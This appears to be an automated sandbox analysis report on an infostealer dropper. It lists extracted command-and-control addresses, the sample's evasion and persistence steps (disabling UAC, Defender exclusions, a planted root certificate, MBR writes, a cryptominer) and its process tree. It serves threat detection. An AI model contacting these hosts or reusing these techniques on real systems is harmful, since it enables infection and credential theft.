Analysis
-
max time kernel
67s -
max time network
97s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
14-05-2024 08:00
Behavioral task
behavioral1
Sample
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe
Resource
win11-20240508-en
Errors
General
-
Target
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe
-
Size
1.7MB
-
MD5
86176b18d6bbcae122b4903627976d73
-
SHA1
dd970ac07657cafe01914b485ede0d9a2d9160a6
-
SHA256
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9
-
SHA512
a52a6b7598732c2e75ddaecb3ca05c7c87273b3bfee9fc8c6505bc32f15b9ffbde4b1b60a569608692a071250e83d82cba872b48b22902d8b92975d57f5a46f1
-
SSDEEP
49152:MOEwgetOc5ZEk5Qr4oEoOkzvvGtroVEFhoe5eBp+:M/aOA4ZOkrorbY+
Malware Config
Extracted
amadey
4.20
http://5.42.96.141
http://5.42.96.7
-
install_dir
908f070dff
-
install_file
explorku.exe
-
strings_key
b25a9385246248a95c600f9a061438e1
-
url_paths
/go34ko8/index.php
Extracted
risepro
147.45.47.126:58709
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
1
185.215.113.67:26260
Extracted
stealc
http://49.13.229.86
-
url_path
/c73eed764cc59dcb.php
Signatures
-
Detect ZGRat V1 3 IoCs
Processes:
resource yara_rule behavioral2/memory/1628-105-0x0000000000400000-0x0000000000592000-memory.dmp family_zgrat_v1 C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_zgrat_v1 behavioral2/memory/1580-146-0x0000000000050000-0x0000000000110000-memory.dmp family_zgrat_v1 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe family_redline C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_redline behavioral2/memory/2676-140-0x0000000000350000-0x00000000003A2000-memory.dmp family_redline behavioral2/memory/1580-146-0x0000000000050000-0x0000000000110000-memory.dmp family_redline C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe family_redline behavioral2/memory/3552-193-0x00000000003A0000-0x00000000003F2000-memory.dmp family_redline -
Processes:
powershell.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe -
Processes:
powershell.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe = "0" powershell.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe family_xmrig C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe xmrig -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
Processes:
aef843b44c.exeaxplons.exeexplorku.exe7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exeexplorku.exeamers.exeaxplons.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ aef843b44c.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ axplons.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorku.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ explorku.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ amers.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ axplons.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 436 powershell.exe 4572 powershell.exe 3744 powershell.exe 2260 powershell.exe 3952 powershell.exe 436 powershell.exe 5240 powershell.exe 2852 powershell.exe 5956 powershell.exe 4564 powershell.exe -
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Checks BIOS information in registry 2 TTPs 14 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exeaef843b44c.exeaxplons.exeexplorku.exeexplorku.exeaxplons.exeamers.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion aef843b44c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion axplons.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorku.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorku.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion axplons.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion axplons.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion explorku.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion axplons.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion aef843b44c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorku.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion amers.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion amers.exe -
Executes dropped EXE 42 IoCs
Processes:
explorku.exeamers.exeaxplons.exeaef843b44c.exealex.exetrf.exekeks.exegold.exeredline1.exeinstall.exeGameService.exeswizzhis.exeGameService.exeGameService.exeGameService.exeGameService.exeGameSyncLink.exe996205.exelumma1.exeGameService.exefile300un.exeNewB.exeGameService.exeGameService.exeGameService.exeGameService.exePiercingNetLink.exeFirstZ.exeGameService.exeGameService.exeGameService.exeGameService.exeGameSyncLinks.exe884020.exeIldd3chC6OzNLVobDyp7zkaD.execG27JiktH7vR87U83tNdJ3fS.exeIg4egc7EVdYuRtWN8d0yuWRu.exedIWlZ2z21QRUf7bC92mXkSeg.exehPBqdh2ofADTFsVWrMAM1ZNQ.exeaxplons.exeexplorku.exeNewB.exepid process 1020 explorku.exe 2420 amers.exe 2016 axplons.exe 2336 aef843b44c.exe 1576 alex.exe 1580 trf.exe 2676 keks.exe 964 gold.exe 3552 redline1.exe 3404 install.exe 2596 GameService.exe 828 swizzhis.exe 4480 GameService.exe 796 GameService.exe 3728 GameService.exe 2780 GameService.exe 2408 GameSyncLink.exe 4268 996205.exe 128 lumma1.exe 4936 GameService.exe 3564 file300un.exe 4804 NewB.exe 2148 GameService.exe 460 GameService.exe 4788 GameService.exe 3032 GameService.exe 1232 PiercingNetLink.exe 3532 FirstZ.exe 128 GameService.exe 484 GameService.exe 1520 GameService.exe 2044 GameService.exe 4268 GameSyncLinks.exe 2264 884020.exe 4812 Ildd3chC6OzNLVobDyp7zkaD.exe 1832 cG27JiktH7vR87U83tNdJ3fS.exe 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe 2968 dIWlZ2z21QRUf7bC92mXkSeg.exe 460 hPBqdh2ofADTFsVWrMAM1ZNQ.exe 4980 axplons.exe 4896 explorku.exe 5004 NewB.exe -
Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
Processes:
axplons.exeamers.exeaxplons.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine axplons.exe Key opened \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine amers.exe Key opened \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Wine axplons.exe -
Loads dropped DLL 4 IoCs
Processes:
996205.exeRegAsm.exeIg4egc7EVdYuRtWN8d0yuWRu.exepid process 4268 996205.exe 3352 RegAsm.exe 3352 RegAsm.exe 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/552-0-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-3-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-4-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-2-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-6-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-5-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-1-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/552-7-0x00000000006F0000-0x0000000000C40000-memory.dmp themida C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe themida behavioral2/memory/552-20-0x00000000006F0000-0x0000000000C40000-memory.dmp themida behavioral2/memory/1020-21-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-23-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-22-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-24-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-26-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-27-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-28-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-25-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/1020-61-0x0000000000AC0000-0x0000000001010000-memory.dmp themida C:\Users\Admin\1000006002\aef843b44c.exe themida behavioral2/memory/2336-81-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-82-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-84-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-85-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-83-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-87-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-89-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-88-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-86-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/2336-276-0x0000000000890000-0x0000000000F16000-memory.dmp themida behavioral2/memory/1020-274-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/4896-608-0x0000000000AC0000-0x0000000001010000-memory.dmp themida behavioral2/memory/4896-612-0x0000000000AC0000-0x0000000001010000-memory.dmp themida C:\Users\Admin\Pictures\f5Oo7EPjN82EKuHbSgleONJp.exe themida behavioral2/memory/4972-651-0x0000000140000000-0x0000000140A55000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
explorku.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\aef843b44c.exe = "C:\\Users\\Admin\\1000006002\\aef843b44c.exe" explorku.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
explorku.exeaef843b44c.exeexplorku.exe7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA explorku.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA aef843b44c.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA explorku.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 99 api.myip.com 110 api.myip.com 111 ipinfo.io -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
Ig4egc7EVdYuRtWN8d0yuWRu.exedescription ioc process File opened for modification \??\PhysicalDrive0 Ig4egc7EVdYuRtWN8d0yuWRu.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
amers.exeaxplons.exeaxplons.exepid process 2420 amers.exe 2016 axplons.exe 4980 axplons.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
alex.exegold.exeswizzhis.exelumma1.exepowershell.exedescription pid process target process PID 1576 set thread context of 1628 1576 alex.exe RegAsm.exe PID 964 set thread context of 2292 964 gold.exe RegAsm.exe PID 828 set thread context of 3352 828 swizzhis.exe RegAsm.exe PID 128 set thread context of 3188 128 lumma1.exe RegAsm.exe PID 2852 set thread context of 4300 2852 powershell.exe msbuild.exe -
Drops file in Program Files directory 14 IoCs
Processes:
install.exedescription ioc process File created C:\Program Files (x86)\GameSyncLink\installc.bat install.exe File created C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe install.exe File created C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe install.exe File created C:\Program Files (x86)\GameSyncLink\installg.bat install.exe File created C:\Program Files (x86)\GameSyncLink\installm.bat install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\installm.bat install.exe File created C:\Program Files (x86)\GameSyncLink\GameService.exe install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe install.exe File created C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\installc.bat install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\installg.bat install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\GameService.exe install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe install.exe File opened for modification C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe install.exe -
Drops file in Windows directory 2 IoCs
Processes:
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exeamers.exedescription ioc process File created C:\Windows\Tasks\explorku.job 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe File created C:\Windows\Tasks\axplons.job amers.exe -
Launches sc.exe 19 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3880 sc.exe 2292 sc.exe 2556 sc.exe 5836 sc.exe 5860 sc.exe 6048 sc.exe 4236 sc.exe 2420 sc.exe 2788 sc.exe 2144 sc.exe 5408 sc.exe 5572 sc.exe 2468 sc.exe 1736 sc.exe 2200 sc.exe 1268 sc.exe 2036 sc.exe 1760 sc.exe 2556 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3128 1576 WerFault.exe alex.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RegAsm.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Processes:
keks.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 keks.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 keks.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
Processes:
amers.exeaxplons.exetrf.exekeks.exeRegAsm.exeredline1.exepowershell.exepowershell.exeIg4egc7EVdYuRtWN8d0yuWRu.exeaxplons.exeFirstZ.exepowershell.exepid process 2420 amers.exe 2420 amers.exe 2016 axplons.exe 2016 axplons.exe 1580 trf.exe 1580 trf.exe 2676 keks.exe 2676 keks.exe 3352 RegAsm.exe 3352 RegAsm.exe 3552 redline1.exe 3552 redline1.exe 3552 redline1.exe 3552 redline1.exe 3552 redline1.exe 3552 redline1.exe 2852 powershell.exe 2852 powershell.exe 2852 powershell.exe 3352 RegAsm.exe 3352 RegAsm.exe 2676 keks.exe 2676 keks.exe 2676 keks.exe 2676 keks.exe 2852 powershell.exe 2852 powershell.exe 2852 powershell.exe 2852 powershell.exe 2852 powershell.exe 2852 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe 4980 axplons.exe 4980 axplons.exe 3532 FirstZ.exe 4572 powershell.exe 4572 powershell.exe 4572 powershell.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
trf.exekeks.exeredline1.exepowershell.exeRegAsm.exe884020.exemsbuild.exepowershell.exeIg4egc7EVdYuRtWN8d0yuWRu.exepowershell.exedescription pid process Token: SeDebugPrivilege 1580 trf.exe Token: SeBackupPrivilege 1580 trf.exe Token: SeSecurityPrivilege 1580 trf.exe Token: SeSecurityPrivilege 1580 trf.exe Token: SeSecurityPrivilege 1580 trf.exe Token: SeSecurityPrivilege 1580 trf.exe Token: SeDebugPrivilege 2676 keks.exe Token: SeDebugPrivilege 3552 redline1.exe Token: SeDebugPrivilege 2852 powershell.exe Token: SeDebugPrivilege 1628 RegAsm.exe Token: SeLockMemoryPrivilege 2264 884020.exe Token: SeDebugPrivilege 4300 msbuild.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 1944 Ig4egc7EVdYuRtWN8d0yuWRu.exe Token: SeDebugPrivilege 4572 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
884020.exepid process 2264 884020.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exeexplorku.exeamers.exeaxplons.exealex.exeRegAsm.exegold.exeinstall.execmd.exedescription pid process target process PID 552 wrote to memory of 1020 552 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe explorku.exe PID 552 wrote to memory of 1020 552 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe explorku.exe PID 552 wrote to memory of 1020 552 7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe explorku.exe PID 1020 wrote to memory of 1584 1020 explorku.exe explorku.exe PID 1020 wrote to memory of 1584 1020 explorku.exe explorku.exe PID 1020 wrote to memory of 1584 1020 explorku.exe explorku.exe PID 1020 wrote to memory of 2420 1020 explorku.exe amers.exe PID 1020 wrote to memory of 2420 1020 explorku.exe amers.exe PID 1020 wrote to memory of 2420 1020 explorku.exe amers.exe PID 2420 wrote to memory of 2016 2420 amers.exe axplons.exe PID 2420 wrote to memory of 2016 2420 amers.exe axplons.exe PID 2420 wrote to memory of 2016 2420 amers.exe axplons.exe PID 1020 wrote to memory of 2336 1020 explorku.exe aef843b44c.exe PID 1020 wrote to memory of 2336 1020 explorku.exe aef843b44c.exe PID 1020 wrote to memory of 2336 1020 explorku.exe aef843b44c.exe PID 2016 wrote to memory of 1576 2016 axplons.exe alex.exe PID 2016 wrote to memory of 1576 2016 axplons.exe alex.exe PID 2016 wrote to memory of 1576 2016 axplons.exe alex.exe PID 1576 wrote to memory of 2648 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 2648 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 2648 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 2068 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 2068 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 2068 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1576 wrote to memory of 1628 1576 alex.exe RegAsm.exe PID 1628 wrote to memory of 1580 1628 RegAsm.exe trf.exe PID 1628 wrote to memory of 1580 1628 RegAsm.exe trf.exe PID 1628 wrote to memory of 2676 1628 RegAsm.exe keks.exe PID 1628 wrote to memory of 2676 1628 RegAsm.exe keks.exe PID 1628 wrote to memory of 2676 1628 RegAsm.exe keks.exe PID 2016 wrote to memory of 964 2016 axplons.exe gold.exe PID 2016 wrote to memory of 964 2016 axplons.exe gold.exe PID 2016 wrote to memory of 964 2016 axplons.exe gold.exe PID 964 wrote to memory of 2144 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2144 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2144 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 964 wrote to memory of 2292 964 gold.exe RegAsm.exe PID 2016 wrote to memory of 3552 2016 axplons.exe redline1.exe PID 2016 wrote to memory of 3552 2016 axplons.exe redline1.exe PID 2016 wrote to memory of 3552 2016 axplons.exe redline1.exe PID 2016 wrote to memory of 3404 2016 axplons.exe install.exe PID 2016 wrote to memory of 3404 2016 axplons.exe install.exe PID 2016 wrote to memory of 3404 2016 axplons.exe install.exe PID 3404 wrote to memory of 560 3404 install.exe cmd.exe PID 3404 wrote to memory of 560 3404 install.exe cmd.exe PID 3404 wrote to memory of 560 3404 install.exe cmd.exe PID 560 wrote to memory of 3880 560 cmd.exe sc.exe PID 560 wrote to memory of 3880 560 cmd.exe sc.exe PID 560 wrote to memory of 3880 560 cmd.exe sc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe"C:\Users\Admin\AppData\Local\Temp\7e89d67f17a156a6a7ca9c926cb56d17e81558470d8eb5cad2c11b8337fbc7d9.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"7⤵
